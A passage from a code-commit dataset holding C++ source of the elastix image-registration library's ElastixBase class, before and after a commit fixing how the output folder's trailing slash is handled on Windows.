std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the input image filenames. These are not obliged options,\n   * so do not print an error if they are not present.\n   * Print also some info (second boolean = true)\n   * Save the result in the moving image file name container.\n   *\/\n  int inreturndummy = 0;\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-in\", inreturndummy, false, true );\n  if ( inreturndummy != 0 )\n  {\n    elxout << \"-in       unspecified, so no input image specified\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Print \"-tp\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-tp\" );\n  elxout << \"-tp       \" << check << std::endl;\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  return returndummy;\n\n} \/\/ end BeforeAllTransformixBase()\n\n\n\/**\n * ************************ BeforeRegistrationBase ******************\n *\/\n\nvoid ElastixBase::BeforeRegistrationBase( void )\n{\n  using namespace xl;\n\n  \/** Set up the \"iteration\" writing field. *\/\n  this->m_IterationInfo.SetOutputs( xout.GetCOutputs() );\n  this->m_IterationInfo.SetOutputs( xout.GetXOutputs() );\n\n  xout.AddTargetCell( \"iteration\", &this->m_IterationInfo );\n\n} \/\/ end BeforeRegistrationBase()\n\n\n\/**\n * **************** AfterRegistrationBase ***********************\n *\/\n\nvoid ElastixBase::AfterRegistrationBase( void )\n{\n  \/** Remove the \"iteration\" writing field. *\/\n  xl::xout.RemoveTargetCell( \"iteration\" );\n\n} \/\/ end AfterRegistrationBase()\n\n\n\/**\n * ********************* GenerateFileNameContainer ******************\n *\/\n\nElastixBase::FileNameContainerPointer\nElastixBase::GenerateFileNameContainer(\n  const std::string & optionkey, int & errorcode,\n  bool printerrors, bool printinfo ) const\n{\n  FileNameContainerPointer fileNameContainer = FileNameContainerType::New();\n  std::string check = \"\";\n  std::string argused( \"\" );\n\n  \/** Try optionkey0. *\/\n  std::ostringstream argusedss( \"\" );\n  argusedss << optionkey << 0;\n  argused = argusedss.str();\n  check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n  if ( check == \"\" )\n  {\n    \/** Try optionkey. *\/\n    std::ostringstream argusedss2( \"\" );\n    argusedss2 << optionkey;\n    argused = argusedss2.str();\n    check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n    if ( check == \"\" )\n    {\n      \/** Both failed; return an error message, if desired. *\/\n      if ( printerrors )\n      {\n        xl::xout[\"error\"]\n        << \"ERROR: No CommandLine option \\\"\"\n          << optionkey << \"\\\" or \\\"\"\n          << optionkey << 0 << \"\\\" given!\" << std::endl;\n      }\n      errorcode |= 1;\n\n      return fileNameContainer;\n    }\n  }\n\n  \/** Optionkey or optionkey0 is found. *\/\n  if ( check != \"\" )\n  {\n    \/** Print info, if desired. *\/\n    if ( printinfo )\n    {\n      \/** Print the option, with some spaces, followed by the value. *\/\n      int nrSpaces0 = 10 - argused.length();\n      unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n      std::string spaces = \"\";\n      spaces.resize( nrSpaces, ' ' );\n      elxout << argused << spaces << check << std::endl;\n    }\n    fileNameContainer->CreateElementAt( 0 ) = check;\n\n    \/** Loop over all optionkey<i> options given with i > 0. *\/\n    unsigned int i = 1;\n    bool readsuccess = true;\n    while ( readsuccess )\n    {\n      std::ostringstream argusedss2( \"\" );\n      argusedss2 << optionkey << i;\n      argused = argusedss2.str();\n      check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n      if ( check == \"\" )\n      {\n        readsuccess = false;\n      }\n      else\n      {\n        if ( printinfo )\n        {\n          \/** Print the option, with some spaces, followed by the value. *\/\n          int nrSpaces0 = 10 - argused.length();\n          unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n          std::string spaces = \"\";\n          spaces.resize( nrSpaces, ' ' );\n          elxout << argused << spaces << check << std::endl;\n        }\n        fileNameContainer->CreateElementAt(i) = check;\n        ++i;\n      }\n    } \/\/ end while\n  } \/\/ end if\n\n  return fileNameContainer;\n\n} \/\/ end GenerateFileNameContainer()\n\n\n\/**\n * ******************** GetUseDirectionCosines ********************\n *\/\n\nbool ElastixBase::GetUseDirectionCosines( void ) const\n{\n  return this->m_UseDirectionCosines;\n}\n\n\n\/**\n * ******************** SetOriginalFixedImageDirectionFlat ********************\n *\/\n\nvoid ElastixBase::SetOriginalFixedImageDirectionFlat(\n  const FlatDirectionCosinesType & arg )\n{\n  this->m_OriginalFixedImageDirection = arg;\n}\n\n\n\/**\n * ******************** GetOriginalFixedImageDirectionFlat ********************\n *\/\n\nconst ElastixBase::FlatDirectionCosinesType &\nElastixBase::GetOriginalFixedImageDirectionFlat( void ) const\n{\n  return this->m_OriginalFixedImageDirection;\n}\n\n\n} \/\/ end namespace elastix\n\n<|endoftext|>"}
{"text":"<commit_before>\/*======================================================================\n\n  This file is part of the elastix software.\n\n  Copyright (c) University Medical Center Utrecht. All rights reserved.\n  See src\/CopyrightElastix.txt or http:\/\/elastix.isi.uu.nl\/legal.php for\n  details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE. See the above copyright notices for more information.\n\n======================================================================*\/\n#include \"elxElastixBase.h\"\n#include <sstream>\n#include \"itkMersenneTwisterRandomVariateGenerator.h\"\n\nnamespace elastix\n{\n\n\/**\n * ********************* Constructor ****************************\n *\/\n\nElastixBase::ElastixBase()\n{\n  \/** Initialize. *\/\n  this->m_Configuration = 0;\n  this->m_ComponentDatabase = 0;\n  this->m_DBIndex = 0;\n\n  \/** The default output precision of elxout is set to 6. *\/\n  this->m_DefaultOutputPrecision = 6;\n\n  \/** Create the component containers. *\/\n  this->m_FixedImagePyramidContainer = ObjectContainerType::New();\n  this->m_MovingImagePyramidContainer = ObjectContainerType::New();\n  this->m_InterpolatorContainer = ObjectContainerType::New();\n  this->m_ImageSamplerContainer = ObjectContainerType::New();\n  this->m_MetricContainer = ObjectContainerType::New();\n  this->m_OptimizerContainer = ObjectContainerType::New();\n  this->m_RegistrationContainer = ObjectContainerType::New();\n  this->m_ResamplerContainer = ObjectContainerType::New();\n  this->m_ResampleInterpolatorContainer = ObjectContainerType::New();\n  this->m_TransformContainer = ObjectContainerType::New();\n\n  \/** Create image and mask containers. *\/\n  this->m_FixedImageContainer = DataObjectContainerType::New();\n  this->m_MovingImageContainer = DataObjectContainerType::New();\n  this->m_FixedImageFileNameContainer = FileNameContainerType::New();\n  this->m_MovingImageFileNameContainer = FileNameContainerType::New();\n\n  this->m_FixedMaskContainer = DataObjectContainerType::New();\n  this->m_MovingMaskContainer = DataObjectContainerType::New();\n  this->m_FixedMaskFileNameContainer = FileNameContainerType::New();\n  this->m_MovingMaskFileNameContainer = FileNameContainerType::New();\n\n  \/** Initialize initialTransform and final transform. *\/\n  this->m_InitialTransform = 0;\n  this->m_FinalTransform = 0;\n\n  \/** Ignore direction cosines by default, for backward compatability. *\/\n  this->m_UseDirectionCosines = false;\n\n} \/\/ end Constructor\n\n\n\/**\n * ********************* SetDBIndex ***********************\n *\/\n\nvoid ElastixBase::SetDBIndex( DBIndexType _arg )\n{\n  \/** If m_DBIndex is not set, set it. *\/\n  if ( this->m_DBIndex != _arg )\n  {\n    this->m_DBIndex = _arg;\n\n    itk::Object * thisasobject = dynamic_cast<itk::Object *>( this );\n    if ( thisasobject )\n    {\n      thisasobject->Modified();\n    }\n  }\n\n} \/\/ end SetDBIndex()\n\n\n\/**\n * ************************ BeforeAllBase ***************************\n *\/\n\nint ElastixBase::BeforeAllBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Set the default precision of floating values in the output. *\/\n  this->m_Configuration->ReadParameter(\n    this->m_DefaultOutputPrecision, \"DefaultOutputPrecision\", 0, false );\n  elxout << std::setprecision( this->m_DefaultOutputPrecision );\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the fixed and moving image filenames. These are obliged options,\n   * so print an error if they are not present.\n   * Print also some info (second boolean = true).\n   *\/\n  this->m_FixedImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-f\", returndummy, true, true );\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-m\", returndummy, true, true );\n\n  \/** Read the fixed and moving mask filenames. These are not obliged options,\n   * so do not print any errors if they are not present.\n   * Do print some info (second boolean = true).\n   *\/\n  int maskreturndummy = 0;\n  this->m_FixedMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-fMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-fMask    unspecified, so no fixed mask used\" << std::endl;\n  }\n  maskreturndummy = 0;\n  this->m_MovingMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-mMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-mMask    unspecified, so no moving mask used\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\".\n   * This check has already been performed in elastix.cxx,\n   * Here we do it again.\n   *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Print all \"-p\". *\/\n  unsigned int i = 1;\n  bool loop = true;\n  while ( loop )\n  {\n    check = \"\";\n    std::ostringstream tempPname(\"\");\n    tempPname << \"-p(\" << i << \")\";\n    check = this->GetConfiguration()->GetCommandLineArgument( tempPname.str().c_str() );\n    if ( check == \"\" ) loop = false;\n    else elxout << \"-p        \" << check << std::endl;\n    ++i;\n  }\n\n  \/** Check for appearance of \"-priority\", if this is a Windows station. *\/\n#ifdef _WIN32\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-priority\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-priority unspecified, so NORMAL process priority\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-priority \" << check << std::endl;\n  }\n#endif\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  \/** Set the random seed. Use 121212 as a default, which is the same as\n   * the default in the MersenneTwister code.\n   * Use silent parameter file readout, to avoid annoying warning when\n   * starting elastix *\/\n  typedef itk::Statistics::MersenneTwisterRandomVariateGenerator RandomGeneratorType;\n  typedef RandomGeneratorType::IntegerType SeedType;\n  unsigned int randomSeed = 121212;\n  this->GetConfiguration()->ReadParameter( randomSeed, \"RandomSeed\", 0, false );\n  RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::GetInstance();\n  randomGenerator->SetSeed( static_cast<SeedType>( randomSeed ) );\n\n  \/** Return a value. *\/\n  return returndummy;\n\n} \/\/ end BeforeAllBase()\n\n\n\/**\n * ************************ BeforeAllTransformixBase ***************************\n *\/\n\nint ElastixBase::BeforeAllTransformixBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the input image filenames. These are not obliged options,\n   * so do not print an error if they are not present.\n   * Print also some info (second boolean = true)\n   * Save the result in the moving image file name container.\n   *\/\n  int inreturndummy = 0;\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-in\", inreturndummy, false, true );\n  if ( inreturndummy != 0 )\n  {\n    elxout << \"-in       unspecified, so no input image specified\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Print \"-tp\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-tp\" );\n  elxout << \"-tp       \" << check << std::endl;\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  return returndummy;\n\n} \/\/ end BeforeAllTransformixBase()\n\n\n\/**\n * ************************ BeforeRegistrationBase ******************\n *\/\n\nvoid ElastixBase::BeforeRegistrationBase( void )\n{\n  using namespace xl;\n\n  \/** Set up the \"iteration\" writing field. *\/\n  this->m_IterationInfo.SetOutputs( xout.GetCOutputs() );\n  this->m_IterationInfo.SetOutputs( xout.GetXOutputs() );\n\n  xout.AddTargetCell( \"iteration\", &this->m_IterationInfo );\n\n} \/\/ end BeforeRegistrationBase()\n\n\n\/**\n * **************** AfterRegistrationBase ***********************\n *\/\n\nvoid ElastixBase::AfterRegistrationBase( void )\n{\n  \/** Remove the \"iteration\" writing field. *\/\n  xl::xout.RemoveTargetCell( \"iteration\" );\n\n} \/\/ end AfterRegistrationBase()\n\n\n\/**\n * ********************* GenerateFileNameContainer ******************\n *\/\n\nElastixBase::FileNameContainerPointer\nElastixBase::GenerateFileNameContainer(\n  const std::string & optionkey, int & errorcode,\n  bool printerrors, bool printinfo ) const\n{\n  FileNameContainerPointer fileNameContainer = FileNameContainerType::New();\n  std::string check = \"\";\n  std::string argused( \"\" );\n\n  \/** Try optionkey0. *\/\n  std::ostringstream argusedss( \"\" );\n  argusedss << optionkey << 0;\n  argused = argusedss.str();\n  check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n  if ( check == \"\" )\n  {\n    \/** Try optionkey. *\/\n    std::ostringstream argusedss2( \"\" );\n    argusedss2 << optionkey;\n    argused = argusedss2.str();\n    check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n    if ( check == \"\" )\n    {\n      \/** Both failed; return an error message, if desired. *\/\n      if ( printerrors )\n      {\n        xl::xout[\"error\"]\n        << \"ERROR: No CommandLine option \\\"\"\n          << optionkey << \"\\\" or \\\"\"\n          << optionkey << 0 << \"\\\" given!\" << std::endl;\n      }\n      errorcode |= 1;\n\n      return fileNameContainer;\n    }\n  }\n\n  \/** Optionkey or optionkey0 is found. *\/\n  if ( check != \"\" )\n  {\n    \/** Print info, if desired. *\/\n    if ( printinfo )\n    {\n      \/** Print the option, with some spaces, followed by the value. *\/\n      int nrSpaces0 = 10 - argused.length();\n      unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n      std::string spaces = \"\";\n      spaces.resize( nrSpaces, ' ' );\n      elxout << argused << spaces << check << std::endl;\n    }\n    fileNameContainer->CreateElementAt( 0 ) = check;\n\n    \/** Loop over all optionkey<i> options given with i > 0. *\/\n    unsigned int i = 1;\n    bool readsuccess = true;\n    while ( readsuccess )\n    {\n      std::ostringstream argusedss2( \"\" );\n      argusedss2 << optionkey << i;\n      argused = argusedss2.str();\n      check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n      if ( check == \"\" )\n      {\n        readsuccess = false;\n      }\n      else\n      {\n        if ( printinfo )\n        {\n          \/** Print the option, with some spaces, followed by the value. *\/\n          int nrSpaces0 = 10 - argused.length();\n          unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n          std::string spaces = \"\";\n          spaces.resize( nrSpaces, ' ' );\n          elxout << argused << spaces << check << std::endl;\n        }\n        fileNameContainer->CreateElementAt(i) = check;\n        ++i;\n      }\n    } \/\/ end while\n  } \/\/ end if\n\n  return fileNameContainer;\n\n} \/\/ end GenerateFileNameContainer()\n\n\n\/**\n * ******************** GetUseDirectionCosines ********************\n *\/\n\nbool ElastixBase::GetUseDirectionCosines( void ) const\n{\n  return this->m_UseDirectionCosines;\n}\n\n\n\/**\n * ******************** SetOriginalFixedImageDirectionFlat ********************\n *\/\n\nvoid ElastixBase::SetOriginalFixedImageDirectionFlat(\n  const FlatDirectionCosinesType & arg )\n{\n  this->m_OriginalFixedImageDirection = arg;\n}\n\n\n\/**\n * ******************** GetOriginalFixedImageDirectionFlat ********************\n *\/\n\nconst ElastixBase::FlatDirectionCosinesType &\nElastixBase::GetOriginalFixedImageDirectionFlat( void ) const\n{\n  return this->m_OriginalFixedImageDirection;\n}\n\n\n} \/\/ end namespace elastix\n\n<commit_msg>BUG: last slash of output dir should be \\ under windows\/cygwin<commit_after>\/*======================================================================\n\n  This file is part of the elastix software.\n\n  Copyright (c) University Medical Center Utrecht. All rights reserved.\n  See src\/CopyrightElastix.txt or http:\/\/elastix.isi.uu.nl\/legal.php for\n  details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE. See the above copyright notices for more information.\n\n======================================================================*\/\n#include \"elxElastixBase.h\"\n#include <sstream>\n#include \"itkMersenneTwisterRandomVariateGenerator.h\"\n\nnamespace elastix\n{\n\n\/**\n * ********************* Constructor ****************************\n *\/\n\nElastixBase::ElastixBase()\n{\n  \/** Initialize. *\/\n  this->m_Configuration = 0;\n  this->m_ComponentDatabase = 0;\n  this->m_DBIndex = 0;\n\n  \/** The default output precision of elxout is set to 6. *\/\n  this->m_DefaultOutputPrecision = 6;\n\n  \/** Create the component containers. *\/\n  this->m_FixedImagePyramidContainer = ObjectContainerType::New();\n  this->m_MovingImagePyramidContainer = ObjectContainerType::New();\n  this->m_InterpolatorContainer = ObjectContainerType::New();\n  this->m_ImageSamplerContainer = ObjectContainerType::New();\n  this->m_MetricContainer = ObjectContainerType::New();\n  this->m_OptimizerContainer = ObjectContainerType::New();\n  this->m_RegistrationContainer = ObjectContainerType::New();\n  this->m_ResamplerContainer = ObjectContainerType::New();\n  this->m_ResampleInterpolatorContainer = ObjectContainerType::New();\n  this->m_TransformContainer = ObjectContainerType::New();\n\n  \/** Create image and mask containers. *\/\n  this->m_FixedImageContainer = DataObjectContainerType::New();\n  this->m_MovingImageContainer = DataObjectContainerType::New();\n  this->m_FixedImageFileNameContainer = FileNameContainerType::New();\n  this->m_MovingImageFileNameContainer = FileNameContainerType::New();\n\n  this->m_FixedMaskContainer = DataObjectContainerType::New();\n  this->m_MovingMaskContainer = DataObjectContainerType::New();\n  this->m_FixedMaskFileNameContainer = FileNameContainerType::New();\n  this->m_MovingMaskFileNameContainer = FileNameContainerType::New();\n\n  \/** Initialize initialTransform and final transform. *\/\n  this->m_InitialTransform = 0;\n  this->m_FinalTransform = 0;\n\n  \/** Ignore direction cosines by default, for backward compatability. *\/\n  this->m_UseDirectionCosines = false;\n\n} \/\/ end Constructor\n\n\n\/**\n * ********************* SetDBIndex ***********************\n *\/\n\nvoid ElastixBase::SetDBIndex( DBIndexType _arg )\n{\n  \/** If m_DBIndex is not set, set it. *\/\n  if ( this->m_DBIndex != _arg )\n  {\n    this->m_DBIndex = _arg;\n\n    itk::Object * thisasobject = dynamic_cast<itk::Object *>( this );\n    if ( thisasobject )\n    {\n      thisasobject->Modified();\n    }\n  }\n\n} \/\/ end SetDBIndex()\n\n\n\/**\n * ************************ BeforeAllBase ***************************\n *\/\n\nint ElastixBase::BeforeAllBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Set the default precision of floating values in the output. *\/\n  this->m_Configuration->ReadParameter(\n    this->m_DefaultOutputPrecision, \"DefaultOutputPrecision\", 0, false );\n  elxout << std::setprecision( this->m_DefaultOutputPrecision );\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the fixed and moving image filenames. These are obliged options,\n   * so print an error if they are not present.\n   * Print also some info (second boolean = true).\n   *\/\n  this->m_FixedImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-f\", returndummy, true, true );\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-m\", returndummy, true, true );\n\n  \/** Read the fixed and moving mask filenames. These are not obliged options,\n   * so do not print any errors if they are not present.\n   * Do print some info (second boolean = true).\n   *\/\n  int maskreturndummy = 0;\n  this->m_FixedMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-fMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-fMask    unspecified, so no fixed mask used\" << std::endl;\n  }\n  maskreturndummy = 0;\n  this->m_MovingMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-mMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-mMask    unspecified, so no moving mask used\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\".\n   * This check has already been performed in elastix.cxx,\n   * Here we do it again. MS: WHY?\n   *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of the output folder equals a '\/' or '\\'. *\/\n    std::string folder( check );\n    const char last = folder[ folder.size() - 1 ];\n    if( last != '\/' && last != '\\\\' )\n    {\n      folder.append( \"\/\" );\n      folder = itksys::SystemTools::ConvertToOutputPath( folder.c_str() );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Print all \"-p\". *\/\n  unsigned int i = 1;\n  bool loop = true;\n  while ( loop )\n  {\n    check = \"\";\n    std::ostringstream tempPname(\"\");\n    tempPname << \"-p(\" << i << \")\";\n    check = this->GetConfiguration()->GetCommandLineArgument( tempPname.str().c_str() );\n    if ( check == \"\" ) loop = false;\n    else elxout << \"-p        \" << check << std::endl;\n    ++i;\n  }\n\n  \/** Check for appearance of \"-priority\", if this is a Windows station. *\/\n#ifdef _WIN32\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-priority\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-priority unspecified, so NORMAL process priority\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-priority \" << check << std::endl;\n  }\n#endif\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  \/** Set the random seed. Use 121212 as a default, which is the same as\n   * the default in the MersenneTwister code.\n   * Use silent parameter file readout, to avoid annoying warning when\n   * starting elastix *\/\n  typedef itk::Statistics::MersenneTwisterRandomVariateGenerator RandomGeneratorType;\n  typedef RandomGeneratorType::IntegerType SeedType;\n  unsigned int randomSeed = 121212;\n  this->GetConfiguration()->ReadParameter( randomSeed, \"RandomSeed\", 0, false );\n  RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::GetInstance();\n  randomGenerator->SetSeed( static_cast<SeedType>( randomSeed ) );\n\n  \/** Return a value. *\/\n  return returndummy;\n\n} \/\/ end BeforeAllBase()\n\n\n\/**\n * ************************ BeforeAllTransformixBase ***************************\n *\/\n\nint ElastixBase::BeforeAllTransformixBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the input image filenames. These are not obliged options,\n   * so do not print an error if they are not present.\n   * Print also some info (second boolean = true)\n   * Save the result in the moving image file name container.\n   *\/\n  int inreturndummy = 0;\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-in\", inreturndummy, false, true );\n  if ( inreturndummy != 0 )\n  {\n    elxout << \"-in       unspecified, so no input image specified\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    